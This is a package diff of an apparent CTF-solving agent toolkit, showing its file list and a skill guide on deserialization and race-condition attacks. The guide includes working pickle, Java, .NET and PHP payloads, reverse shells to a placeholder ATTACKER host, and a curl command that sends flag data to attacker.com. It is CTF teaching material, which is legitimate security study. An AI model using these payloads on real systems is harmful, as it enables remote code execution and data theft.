ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,443 @@
1
+ # CTF Web - Deserialization & Execution Attacks
2
+
3
+ For core injection attacks (SQLi, SSTI, SSRF, XXE, command injection), see [server-side.md](server-side.md).
4
+
5
+ ## Table of Contents
6
+ - [Java Deserialization (ysoserial)](#java-deserialization-ysoserial)
7
+ - [Python Pickle Deserialization](#python-pickle-deserialization)
8
+ - [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use)
9
+ - [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013)
10
+ - [Java XMLDecoder Deserialization RCE (HackIM 2016)](#java-xmldecoder-deserialization-rce-hackim-2016)
11
+ - [.NET JSON TypeNameHandling Deserialization (DefCamp 2017)](#net-json-typenamehandling-deserialization-defcamp-2017)
12
+ - [PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)](#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016)
13
+ - [PHP SoapClient CRLF SSRF via __call() Deserialization (N1CTF 2018)](#php-soapclient-crlf-ssrf-via-__call-deserialization-n1ctf-2018)
14
+ - [Java TiedMapEntry + LazyMap + Reflection HashMap Patch (Trend Micro 2018)](#java-tiedmapentry--lazymap--reflection-hashmap-patch-trend-micro-2018)
15
+ - [Werkzeug SecureCookie Pickle RCE after SECRET_KEY Leak (CSAW 2018 Finals)](#werkzeug-securecookie-pickle-rce-after-secret_key-leak-csaw-2018-finals)
16
+ - [PHP unserialize + Double URL Encoding curl LFI (FireShell CTF 2019)](#php-unserialize--double-url-encoding-curl-lfi-fireshell-ctf-2019)
17
+ - [Python Pickle RCE Wrapped in ROT13(Base64) (TAMUctf 2019)](#python-pickle-rce-wrapped-in-rot13base64-tamuctf-2019)
18
+
19
+ ---
20
+
21
+ ## Java Deserialization (ysoserial)
22
+
23
+ **Pattern:** Java apps using `ObjectInputStream.readObject()` on untrusted input. Serialized Java objects in cookies, POST bodies, or ViewState (base64-encoded, starts with `rO0AB` or hex `aced0005`).
24
+
25
+ **Detection:**
26
+ - Base64 decode suspicious blobs — Java serialized data starts with magic bytes `AC ED 00 05`
27
+ - Search for `ObjectInputStream`, `readObject`, `readUnshared` in source
28
+ - Content-Type `application/x-java-serialized-object`
29
+ - Burp extension: Java Deserialization Scanner
30
+
31
+ **Key insight:** Deserialization triggers code in `readObject()` methods of classes on the classpath. If a "gadget chain" exists (sequence of classes whose `readObject` → method calls lead to arbitrary execution), the attacker gets RCE without needing to upload code.
32
+
33
+ ```bash
34
+ # Generate payloads with ysoserial
35
+ java -jar ysoserial.jar CommonsCollections1 'id' | base64
36
+ java -jar ysoserial.jar CommonsCollections6 'cat /flag.txt' > payload.ser
37
+
38
+ # Common gadget chains (try in order):
39
+ # CommonsCollections1-7 (Apache Commons Collections)
40
+ # CommonsBeanutils1 (Apache Commons BeanUtils)
41
+ # URLDNS (no execution — DNS callback for blind detection)
42
+ # JRMPClient (triggers JRMP connection)
43
+ # Spring1/Spring2 (Spring Framework)
44
+
45
+ # Blind detection via DNS callback (no RCE needed):
46
+ java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64
47
+
48
+ # Send payload
49
+ curl -X POST http://target/api -H 'Content-Type: application/x-java-serialized-object' \
50
+ --data-binary @payload.ser
51
+ ```
52
+
53
+ **Bypass filters:**
54
+ - If `ObjectInputStream` subclass blocklists specific classes, try alternative chains
55
+ - `ysoserial-modified` and `GadgetProbe` enumerate available gadget classes
56
+ - JNDI injection (Java Naming and Directory Interface): `java -jar ysoserial.jar JRMPClient 'attacker:1099'` + `marshalsec` JNDI server
57
+ - For Java 17+ (module system restrictions): look for application-specific gadgets or Jackson/Fastjson deserialization instead
58
+
59
+ ---
60
+
61
+ ## Python Pickle Deserialization
62
+
63
+ **Pattern:** Python apps deserializing untrusted data with `pickle.loads()`, `pickle.load()`, or `shelve`. Common in Flask/Django session cookies, cached objects, ML model files (`.pkl`), Redis-stored objects.
64
+
65
+ **Detection:**
66
+ - Base64 blobs containing `\x80\x04\x95` (pickle protocol 4) or `\x80\x05\x95` (protocol 5)
67
+ - Source code: `pickle.loads()`, `pickle.load()`, `_pickle`, `shelve.open()`, `joblib.load()`, `torch.load()`
68
+ - Flask sessions with `pickle` serializer (vs default `json`)
69
+
70
+ **Key insight:** Python's `pickle.loads()` calls `__reduce__()` on deserialized objects, which can return `(os.system, ('command',))` — instant RCE. There is NO safe way to deserialize untrusted pickle data.
71
+
72
+ ```python
73
+ import pickle, base64, os
74
+
75
+ class RCE:
76
+ def __reduce__(self):
77
+ return (os.system, ('cat /flag.txt',))
78
+
79
+ payload = base64.b64encode(pickle.dumps(RCE())).decode()
80
+ print(payload)
81
+
82
+ # For reverse shell:
83
+ class RevShell:
84
+ def __reduce__(self):
85
+ return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"',))
86
+
87
+ # Using exec for multi-line payloads:
88
+ class ExecRCE:
89
+ def __reduce__(self):
90
+ return (exec, ('import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])',))
91
+ ```
92
+
93
+ **Bypass restricted unpicklers:**
94
+ - `RestrictedUnpickler` may allowlist specific modules — chain through allowed classes
95
+ - If `builtins` allowed: `(__builtins__.__import__, ('os',))` then chain `.system()`
96
+ - YAML deserialization (`yaml.load()` without `Loader=SafeLoader`) has similar RCE via `!!python/object/apply:os.system`
97
+ - NumPy `.npy`/`.npz` files: `numpy.load(allow_pickle=True)` triggers pickle
98
+
99
+ ---
100
+
101
+ ## Race Conditions (Time-of-Check to Time-of-Use)
102
+
103
+ **Pattern:** Server checks a condition (balance, registration uniqueness, coupon validity) then performs an action in separate steps. Concurrent requests between check and action bypass the validation.
104
+
105
+ **Key insight:** Send identical requests simultaneously. The server reads the "before" state for all of them, then applies all changes — each request sees the pre-modification state.
106
+
107
+ ```python
108
+ import asyncio, aiohttp
109
+
110
+ async def race(url, data, headers, n=20):
111
+ """Send n identical requests simultaneously"""
112
+ async with aiohttp.ClientSession() as session:
113
+ tasks = [session.post(url, json=data, headers=headers) for _ in range(n)]
114
+ responses = await asyncio.gather(*tasks)
115
+ for r in responses:
116
+ print(r.status, await r.text())
117
+
118
+ asyncio.run(race('http://target/api/transfer',
119
+ {'to': 'attacker', 'amount': 1000},
120
+ {'Cookie': 'session=...'},
121
+ n=50))
122
+ ```
123
+
124
+ **Common CTF race condition targets:**
125
+ - **Double-spend / balance bypass:** Transfer or purchase endpoint checked `if balance >= amount` → send 50 simultaneous transfers, all see original balance
126
+ - **Coupon/code reuse:** Single-use codes validated then marked used → redeem simultaneously before mark
127
+ - **Registration uniqueness:** `if not user_exists(name)` → register same username concurrently, one overwrites the other (admin account takeover)
128
+ - **File upload + use:** Upload file, server validates then moves → access file between upload and validation (or between validation and deletion)
129
+
130
+ ```bash
131
+ # Turbo Intruder (Burp) — most reliable for precise timing
132
+ # Or use curl with GNU parallel:
133
+ seq 50 | parallel -j50 curl -s -X POST http://target/api/redeem \
134
+ -H 'Cookie: session=TOKEN' -d 'code=SINGLE_USE_CODE'
135
+ ```
136
+
137
+ **Detection in source code:**
138
+ - Non-atomic read-then-write patterns without locks/transactions
139
+ - `SELECT ... UPDATE` without `FOR UPDATE` or serializable isolation
140
+ - File operations: `if os.path.exists()` then `open()` (classic TOCTOU)
141
+ - Redis `GET` then `SET` without `WATCH`/`MULTI`
142
+
143
+ ---
144
+
145
+ ## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)
146
+
147
+ **Pattern:** Chain multiple pickle operations in a single `pickle.loads()` call by stripping the STOP opcode (`\x2e`) from the first payload and concatenating a second payload.
148
+
149
+ **Key insight:** The pickle VM executes instructions sequentially. Removing the STOP opcode from the first serialized object causes the deserializer to continue executing the second payload's `__reduce__` call. Combined with `os.dup2()` to redirect stdout to the socket FD, this enables output capture from `os.system()` over the network.
150
+
151
+ ```python
152
+ import pickle, os
153
+
154
+ class Redirect:
155
+ def __reduce__(self):
156
+ return (os.dup2, (5, 1)) # Redirect stdout to socket fd 5
157
+
158
+ class Execute:
159
+ def __reduce__(self):
160
+ return (os.system, ('cat /flag.txt',))
161
+
162
+ # Strip STOP opcode from first payload, concatenate second
163
+ payload = pickle.dumps(Redirect())[:-1] + pickle.dumps(Execute())
164
+ ```
165
+
166
+ **When to use:** Remote pickle deserialization where command output is not returned. Chain `dup2` first to redirect stdout/stderr to the socket, then execute commands.
167
+
168
+ ---
169
+
170
+ ## Java XMLDecoder Deserialization RCE (HackIM 2016)
171
+
172
+ Java's `XMLDecoder` automatically instantiates classes and invokes methods from XML input. Craft XML to execute arbitrary commands:
173
+
174
+ ```xml
175
+ <object class="java.lang.Runtime" method="getRuntime">
176
+ <void method="exec">
177
+ <array class="java.lang.String" length="3">
178
+ <void index="0"><string>/bin/sh</string></void>
179
+ <void index="1"><string>-c</string></void>
180
+ <void index="2"><string>curl attacker.com/?c=$(cat /flag)</string></void>
181
+ </array>
182
+ </void>
183
+ </object>
184
+ ```
185
+
186
+ **Key insight:** Unlike binary Java deserialization, XMLDecoder provides a text-based gadget-free path to RCE — no gadget chain needed.
187
+
188
+ ---
189
+
190
+ ## .NET JSON TypeNameHandling Deserialization (DefCamp 2017)
191
+
192
+ **Pattern:** Json.NET (Newtonsoft.Json) with `TypeNameHandling.All` or `TypeNameHandling.Objects` deserializes the `$type` field to instantiate arbitrary classes. By injecting a `$type` value pointing to a privileged class in the loaded assemblies, an attacker can execute arbitrary code or access protected functionality.
193
+
194
+ ```csharp
195
+ // Vulnerable server-side code:
196
+ var settings = new JsonSerializerSettings {
197
+ TypeNameHandling = TypeNameHandling.All // UNSAFE: deserializes $type field
198
+ };
199
+ var obj = JsonConvert.DeserializeObject(userInput, settings);
200
+ ```
201
+
202
+ ```json
203
+ // Basic injection — instantiate a class with a dangerous constructor/property:
204
+ {
205
+ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
206
+ "MethodName": "Start",
207
+ "ObjectInstance": {
208
+ "$type": "System.Diagnostics.Process, System",
209
+ "StartInfo": {
210
+ "$type": "System.Diagnostics.ProcessStartInfo, System",
211
+ "FileName": "cmd.exe",
212
+ "Arguments": "/c calc.exe"
213
+ }
214
+ }
215
+ }
216
+ ```
217
+
218
+ ```json
219
+ // Simpler: inject a custom application class to escalate privileges:
220
+ {
221
+ "$type": "MyApp.Models.AdminCommand, MyApp",
222
+ "Action": "ReadFlag",
223
+ "TargetPath": "/flag.txt"
224
+ }
225
+ ```
226
+
227
+ ```python
228
+ import requests, json
229
+
230
+ # Target: endpoint deserializing JSON with TypeNameHandling.All
231
+ payload = {
232
+ "$type": "MyApp.Commands.ExecuteCommand, MyApp",
233
+ "Command": "cat /flag"
234
+ }
235
+
236
+ r = requests.post("http://target/api/process",
237
+ json=payload,
238
+ headers={"Content-Type": "application/json"})
239
+ print(r.text)
240
+ ```
241
+
242
+ **Gadget chains for RCE (ysoserial.net):**
243
+ ```bash
244
+ # Generate Json.NET payload with ysoserial.net:
245
+ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
246
+ # Common gadgets: ObjectDataProvider, WindowsIdentity, ActivitySurrogateSelector
247
+ ```
248
+
249
+ **Detection:** .NET/ASP.NET application, JSON requests. Look for `$type` in API responses (if the server also serializes with TypeNameHandling). Check error messages for Newtonsoft.Json stack traces.
250
+
251
+ **Key insight:** `$type` in Json.NET can instantiate any class in the loaded assemblies. Any class with dangerous constructors, implicit conversions, or settable properties that trigger side effects becomes an attack surface. Use `ysoserial.net` to enumerate known gadget chains. Defense: use `TypeNameHandling.None` (default) and a custom `ISerializationBinder` allowlist.
252
+
253
+ ---
254
+
255
+ ## PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)
256
+
257
+ **Pattern:** A post-serialization string filter replaces "where" (5 chars) with "hacker" (6 chars), creating a length mismatch in the serialized string. The serialized length field says N bytes, but after expansion the actual string is longer, causing the PHP deserializer to read past the intended boundary and parse attacker-controlled data as serialized fields.
258
+
259
+ ```php
260
+ // The target payload to inject as a serialized field:
261
+ $payload = '";}s:5:"photo";s:10:"config.php";}';
262
+ // Repeat "where" enough times so the expansion (5->6 per word) overflows
263
+ // by exactly strlen($payload) bytes:
264
+ $_POST['nickname[]'] = str_repeat("where", strlen($payload)) . $payload;
265
+ ```
266
+
267
+ **How it works:**
268
+ 1. Application serializes user input into `s:170:"wherewhere...PAYLOAD";`
269
+ 2. Filter replaces each "where" (5) with "hacker" (6), adding 1 byte per occurrence
270
+ 3. After replacement, actual string is longer than the serialized length field
271
+ 4. PHP deserializer reads exactly `s:170:` bytes, stops mid-string, and finds the injected `";}s:5:"photo";s:10:"config.php";}` as the next serialized field
272
+
273
+ **Key insight:** Any post-serialization string expansion or contraction creates exploitable length mismatches for object injection. Look for word filters, censorship, or sanitization applied after `serialize()` but before storage/`unserialize()`.
274
+
275
+ ---
276
+
277
+ ### PHP SoapClient CRLF SSRF via __call() Deserialization (N1CTF 2018)
278
+
279
+ **Pattern:** When PHP deserializes a `SoapClient` object and a non-existent method is called on it, the `__call()` magic method fires an HTTP request. CRLF injection in the `uri` parameter allows crafting arbitrary HTTP requests to localhost (SSRF). This turns any deserialization sink + method call into a full SSRF primitive.
280
+
281
+ **How it works:**
282
+ 1. Attacker crafts a serialized `SoapClient` with CRLF-injected `uri` parameter
283
+ 2. Application deserializes the object (via `unserialize()`, session handler, or other deserialization sink)
284
+ 3. When any undefined method is called on the deserialized object, `__call()` triggers
285
+ 4. `SoapClient` sends an HTTP request to `location` with the crafted `uri` containing injected headers and body
286
+
287
+ ```php
288
+ $p = array(
289
+ 'uri' => "http://127.0.0.1/\r\nContent-Length:0\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=XXX\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 42\r\n\r\nusername=admin&password=nu1ladmin&code=XXX\r\n\r\nPOST /foo\r\n",
290
+ 'location' => 'http://127.0.0.1/'
291
+ );
292
+ $soap = new SoapClient(null, $p);
293
+ // When getcountry() called on deserialized object -> triggers __call() -> sends crafted HTTP
294
+ ```
295
+
296
+ ```python
297
+ import requests
298
+
299
+ # Generate the serialized SoapClient payload
300
+ # The CRLF in uri smuggles a complete second HTTP request
301
+ php_serialize_script = '''
302
+ <?php
303
+ $target = "http://127.0.0.1/";
304
+ $post_body = "username=admin&password=nu1ladmin&code=XXX";
305
+ $headers = array(
306
+ 'X-Forwarded-For: 127.0.0.1',
307
+ 'Cookie: PHPSESSID=target_session_id'
308
+ );
309
+ $payload = array(
310
+ 'uri' => "http://127.0.0.1/\\r\\nContent-Length:0\\r\\n\\r\\nPOST /index.php?action=login HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n" . implode("\\r\\n", $headers) . "\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: " . strlen($post_body) . "\\r\\n\\r\\n" . $post_body . "\\r\\n\\r\\nPOST /foo\\r\\n",
311
+ 'location' => $target
312
+ );
313
+ echo serialize(new SoapClient(null, $payload));
314
+ ?>
315
+ '''
316
+
317
+ # The serialized payload is then injected into the deserialization sink
318
+ # e.g., via session manipulation, cookie injection, or POST parameter
319
+ ```
320
+
321
+ **Common trigger chains:**
322
+ ```text
323
+ unserialize(user_input) → $obj->anyMethod() → SoapClient::__call() → HTTP request
324
+ session_start() with custom handler → SoapClient in session → __call() on access
325
+ ```
326
+
327
+ **Key insight:** PHP's SoapClient `__call()` magic method fires HTTP requests when any undefined method is called. CRLF injection in the URI parameter smuggles complete HTTP requests, enabling authenticated SSRF to localhost. This is especially powerful when combined with other PHP deserialization vectors (session handlers, `phar://` wrappers) since `SoapClient` is a built-in PHP class requiring no additional libraries. Look for any code path where a deserialized object has a method called on it.
328
+
329
+ ---
330
+
331
+ ## Java TiedMapEntry + LazyMap + Reflection HashMap Patch (Trend Micro 2018)
332
+
333
+ **Pattern:** Custom Java gadget chain that calls a static method (`Flag.getFlag()`) without any off-the-shelf ysoserial gadget. The chain uses `TiedMapEntry` wrapping a `LazyMap` whose factory is a `ChainedTransformer(ConstantTransformer(Flag.class), InvokerTransformer("getMethod", ...), InvokerTransformer("invoke", ...))`. Because LazyMap evaluates its factory on `get()` before serialization completes, the payload must smuggle the TiedMapEntry into a parent HashMap *after* building it — done by reflecting into `HashMap.table` and writing the entry directly.
334
+
335
+ ```java
336
+ // Build the transformer chain (classic Commons Collections)
337
+ Transformer[] chain = new Transformer[] {
338
+ new ConstantTransformer(Flag.class),
339
+ new InvokerTransformer("getMethod",
340
+ new Class[]{String.class, Class[].class},
341
+ new Object[]{"getFlag", new Class[0]}),
342
+ new InvokerTransformer("invoke",
343
+ new Class[]{Object.class, Object[].class},
344
+ new Object[]{null, new Object[0]}),
345
+ };
346
+ Map inner = LazyMap.decorate(new HashMap(), new ChainedTransformer(chain));
347
+ TiedMapEntry entry = new TiedMapEntry(inner, "trigger");
348
+
349
+ // Wrap in HashMap WITHOUT triggering LazyMap resolution:
350
+ HashMap<Object, Object> outer = new HashMap<>();
351
+ outer.put("placeholder", "x"); // force allocation of table[]
352
+ Map.Entry[] table = (Map.Entry[]) Whitebox.getInternalState(outer, "table");
353
+ table[0] = new HashMap.Node(0, "payload", entry, null);
354
+ Whitebox.setInternalState(outer, "table", table);
355
+
356
+ // Serialize and send
357
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
358
+ new ObjectOutputStream(out).writeObject(outer);
359
+ byte[] payload = out.toByteArray();
360
+ ```
361
+
362
+ **Key insight:** The Commons Collections `LazyMap` + `ChainedTransformer` primitive can call any static method, not just `Runtime.exec`. When a CTF challenge adds its own `Flag.getFlag()` helper expecting the JVM to enforce access control, the same gadget chain used for RCE gives you direct method invocation. The tricky part is that calling `outer.put(payload, "x")` while building the HashMap would immediately resolve the LazyMap and leak the flag to the builder process — use reflection (`Whitebox.setInternalState` from PowerMock, or raw `Field.setAccessible(true)`) to write the TiedMapEntry into `HashMap.table` after the map is otherwise populated.
363
+
364
+ **References:** Trend Micro CTF 2018 — Raimund Genes Cup Misc 300, writeup 11293
365
+
366
+ ---
367
+
368
+ ## Werkzeug SecureCookie Pickle RCE after SECRET_KEY Leak (CSAW 2018 Finals)
369
+
370
+ **Pattern:** `werkzeug.contrib.securecookie.SecureCookie` serializes session data with `pickle`. Once the Flask `SECRET_KEY` leaks (for example via SSRF reading `/proc/self/environ`), any cookie re-signs cleanly, so a `__reduce__` gadget fires on deserialization.
371
+
372
+ ```python
373
+ import pickle, subprocess
374
+ from werkzeug.contrib.securecookie import SecureCookie
375
+
376
+ class Pwn:
377
+ def __reduce__(self):
378
+ return (subprocess.check_output, (['cat', '/flag.txt'],))
379
+
380
+ cookie = SecureCookie({'name': Pwn()}, SECRET_KEY).serialize()
381
+ # Set Cookie: session=<cookie> and read the flag from the response
382
+ ```
383
+
384
+ **Key insight:** Any framework that mixes `pickle` with HMAC-signed cookies is a SECRET_KEY leak away from RCE. Flask's default `itsdangerous` uses JSON, but older apps on `SecureCookie` or custom signers still ship pickle.
385
+
386
+ **References:** CSAW 2018 Finals — NekoCat, writeups 12130, 12144
387
+
388
+ ---
389
+
390
+ ## PHP unserialize + Double URL Encoding curl LFI (FireShell CTF 2019)
391
+
392
+ **Pattern:** A PHP endpoint unserializes `$_GET['gg']`, and the gadget's `__destruct()` calls `doit()` which `curl`s `$this->url`. A blacklist blocks `.php`/`.txt`/`.html` via `strpos($this->url, $ext)`, but PHP decodes the query string once before `unserialize` — anything double URL-encoded (e.g. `%252e` for `.`) survives that decode as literal `%2e`, misses the `strpos` check, then gets decoded a second time by curl before the file is read.
393
+
394
+ ```php
395
+ class SHITS {
396
+ private $url = "file:///var/www/html/config.php";
397
+ private $method = "doit";
398
+ private $addr; private $host; private $name;
399
+ }
400
+ // Replace '.' with '%252e' AFTER serialize(), then fix the string length.
401
+ // "file:///var/www/html/config.php" (31) -> "file:///var/www/html/config%252ephp" (35 bytes on the wire,
402
+ // 33 chars after the first decode), so set s:33 in the serialized blob.
403
+ print str_replace('.', '%252e', urlencode(serialize(new SHITS)));
404
+ ```
405
+ ```http
406
+ GET /?gg=O%3A5%3A%22SHITS%22%3A5%3A%7B...s%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22...%7D
407
+ ```
408
+
409
+ **Key insight:** When a filter uses `strpos`/`preg_match` *before* URL decoding but the downstream consumer decodes again, double-encoded payloads bypass text-based blacklists. With PHP `unserialize`, remember the `s:<len>` prefix must match the byte count *after* PHP's first URL decode (33 here, not 31 or 35) or the object fails to deserialize silently.
410
+
411
+ **References:** FireShell CTF 2019 — Vice, writeup 13221
412
+
413
+ ---
414
+
415
+ ## Python Pickle RCE Wrapped in ROT13(Base64) (TAMUctf 2019)
416
+
417
